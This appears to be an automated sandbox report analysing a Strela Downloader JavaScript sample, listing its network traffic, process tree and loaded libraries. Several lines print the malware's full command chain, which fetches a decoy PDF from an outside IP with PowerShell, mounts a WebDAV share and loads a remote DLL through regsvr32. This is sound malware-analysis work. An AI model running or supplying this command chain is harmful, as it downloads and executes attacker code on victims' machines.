Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2116992527.0000016BAA9DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2116562886.0000016BAC33F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2182303141.00000136042EB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182303141.00000136042DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.3400429414.000001BF90200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2179103735.000001BF90110000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7060, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 279482651296229246.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3340:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ucntvspl.mjm.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1584,i,17276702314732939705,17623146584456204359,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1584,i,17276702314732939705,17623146584456204359,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
